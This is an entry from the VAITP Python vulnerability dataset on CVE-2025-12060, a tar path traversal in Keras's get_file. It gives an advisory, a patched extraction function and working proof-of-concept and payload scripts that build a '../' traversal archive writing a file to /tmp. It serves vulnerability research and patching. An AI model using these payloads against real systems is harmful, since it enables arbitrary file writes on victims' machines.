VAITP Dataset

← Back to the dataset

CVE-2025-12060

Keras get_file path traversal via tar allows arbitrary file write.

  • CVSS 8.9
  • CWE-22
  • Input Validation and Sanitization
  • Remote

The keras.utils.get_file API in Keras, when used with the extract=True option for tar archives, is vulnerable to a path traversal attack. The utility uses Python's tarfile.extractall function without the filter="data" feature. A remote attacker can craft a malicious tar archive containing special symlinks, which, when extracted, allows them to write arbitrary files to any location on the filesystem outside of the intended destination folder. This vulnerability is linked to the underlying Python tarfile weakness, identified as CVE-2025-4517. Note that upgrading Python to one of the versions that fix CVE-2025-4517 (e.g. Python 3.13.4) is not enough. One additionally needs to upgrade Keras to a version with the fix (Keras 3.12).

CVSS base score
8.9
Published
2025-10-30
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Keras
Fixed by upgrading
Yes

Solution

Upgrade to Keras 3.12.

Vulnerable code sample

import os
import tarfile
import tempfile
import pathlib
from io import BytesIO

# This PoC demonstrates CVE-2025-12060 in a vulnerable version of Keras.
# It requires a Keras version < 3.12, usually via a corresponding
# TensorFlow installation (e.g., tensorflow < 2.17).

try:
    from tensorflow.keras.utils import get_file
except ImportError:
    print("FATAL: Could not import 'get_file' from 'tensorflow.keras.utils'.")
    print("Please install a vulnerable version of TensorFlow/Keras to run this PoC.")
    exit(1)

# Define the path for the malicious file and the traversal payload.
# This PoC targets POSIX systems (Linux, macOS) and attempts to write to /tmp.
malicious_filename = "pwned_by_keras_cve_2025_12060.txt"
malicious_file_path = f"/tmp/{malicious_filename}"

# The path traversal payload uses '..' to escape the extraction directory
# (e.g., ~/.keras/datasets/malicious_dataset/) and reach the filesystem root.
traversal_path_in_tar = f"../../../../../../../../tmp/{malicious_filename}"

if os.name == 'nt':
    print("Warning: This PoC is designed for POSIX-like systems (Linux, macOS).")
    print("The path traversal may not work as expected on Windows.")

# Clean up any previous runs of this script
if os.path.exists(malicious_file_path):
    try:
        os.remove(malicious_file_path)
    except OSError:
        pass # Ignore if we can't remove it

print(f"[*] PoC for Keras CVE-2025-12060")
print(f"[*] Objective: Create a file at '{malicious_file_path}' via path traversal.")
print(f"[*] Payload in tar archive will be: '{traversal_path_in_tar}'")

# Create a malicious tar archive in memory.
archive_data = BytesIO()
with tarfile.open(fileobj=archive_data, mode="w") as tar:
    file_content = b"This file was created by exploiting Keras CVE-2025-12060."
    tarinfo = tarfile.TarInfo(name=traversal_path_in_tar)
    tarinfo.size = len(file_content)
    tar.addfile(tarinfo, BytesIO(file_content))
archive_data.seek(0)

# Save the in-memory archive to a temporary file on disk to simulate a download.
with tempfile.NamedTemporaryFile(delete=False, suffix=".tar") as temp_archive_file:
    temp_archive_file.write(archive_data.read())
    malicious_archive_path = temp_archive_file.name

print(f"[*] Malicious tar archive written to: {malicious_archive_path}")

try:
    print("\n[*] Calling vulnerable function: keras.utils.get_file(..., extract=True)")

    # Use a file:// URI to point to the local malicious archive.
    origin_uri = pathlib.Path(malicious_archive_path).as_uri()

    # This is the vulnerable call. In an unpatched version, it uses tarfile.extractall()
    # without any filtering, allowing the path traversal attack.
    get_file(
        fname='malicious_dataset.tar',
        origin=origin_uri,
        extract=True,
        archive_format='tar'
    )
    print("[*] Extraction process finished.")

except Exception as e:
    print(f"[!] An exception occurred during extraction: {e}")
    print("[!] This may indicate the system is patched at the Python or Keras level.")

# Verify if the path traversal attack was successful.
print("\n[*] Verifying exploit success...")
if os.path.exists(malicious_file_path):
    print(f"\n[SUCCESS] Vulnerability confirmed!")
    print(f"File was created outside the intended directory at: {malicious_file_path}")
    with open(malicious_file_path, 'r') as f:
        print(f"File content: '{f.read()}'")
    os.remove(malicious_file_path)
    print(f"[*] Cleaned up the malicious file.")
else:
    print(f"\n[FAILURE] Malicious file was not found at the target location.")
    print("[*] The system is likely not vulnerable.")

# Clean up the temporary archive file.
os.remove(malicious_archive_path)
print(f"[*] Cleaned up the temporary archive file.")

Patched code sample

import tarfile
import os

def _fixed_keras_extract_archive(file_path, path="."):
    """
    A function representing the fixed implementation used internally by
    keras.utils.get_file to address the path traversal vulnerability
    (CVE-2025-12060).
    """
    # The vulnerability is specific to tar archives, so we focus on that format.
    if not (
        file_path.endswith(".tar")
        or file_path.endswith(".tar.gz")
        or file_path.endswith(".tgz")
    ):
        return

    # In a real scenario, the destination path is created.
    os.makedirs(path, exist_ok=True)

    with tarfile.open(file_path) as archive:
        try:
            # THE FIX: The `filter="data"` argument is added to the extractall call.
            # This is the secure default filter introduced in newer Python versions
            # to mitigate path traversal attacks (linked to CVE-2025-4517 /
            # CVE-2007-4559). It disallows members that specify absolute paths,
            # use ".." to escape the destination directory, or are symlinks.
            # Keras versions with the fix (e.g., Keras 3.12+) include this change.
            archive.extractall(path=path, filter="data")

        except (tarfile.TarError, ValueError, RuntimeError) as e:
            # A ValueError can be raised by the 'data' filter if a dangerous
            # member is found in the archive. The original Keras code
            # would handle this exception, often by raising an IOError.
            raise IOError(f"Unable to extract tar archive {file_path}") from e
        except TypeError as e:
            # This exception occurs on older, unpatched Python versions that do
            # not support the 'filter' keyword argument.
            if "got an unexpected keyword argument 'filter'" in str(e):
                raise RuntimeError(
                    "The fix for CVE-2025-12060 requires a Python version where "
                    "tarfile.extractall supports the 'filter' argument (e.g., "
                    "Python 3.8.18+, 3.9.18+, 3.10.13+, 3.11.8+, 3.12+)."
                ) from e
            else:
                raise e

Payload

import tarfile
import io
import os

# The name of the malicious archive to be created.
# This file, when processed by a vulnerable Keras version,
# will demonstrate the path traversal vulnerability.
archive_name = "malicious_keras_payload.tar"

# The malicious path that uses '..' to traverse outside the intended extraction directory.
# This example attempts to write a file named 'pwned_by_keras.txt' into the /tmp/ directory.
malicious_file_path = "../../../../../../tmp/pwned_by_keras.txt"

# The content to be written into the arbitrary file.
file_content = b"This file was written outside the Keras extraction directory via CVE-2025-12060."

# Create an in-memory file-like object for the content.
content_buffer = io.BytesIO(file_content)

# Use the tarfile library to construct the malicious archive.
with tarfile.open(archive_name, "w") as tar:
    # Create a TarInfo object which holds the metadata for the file.
    # The 'name' attribute is set to our malicious path.
    tarinfo = tarfile.TarInfo(name=malicious_file_path)
    
    # Set the size of the file in the archive's metadata.
    tarinfo.size = len(file_content)
    
    # Add the file with the malicious path and its content to the archive.
    tar.addfile(tarinfo=tarinfo, fileobj=content_buffer)

# The script will generate a file named 'malicious_keras_payload.tar'
# in the current directory. This file is the payload.

Cite this entry

@misc{vaitp:cve202512060,
  title        = {{Keras get_file path traversal via tar allows arbitrary file write.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-12060},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-12060/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::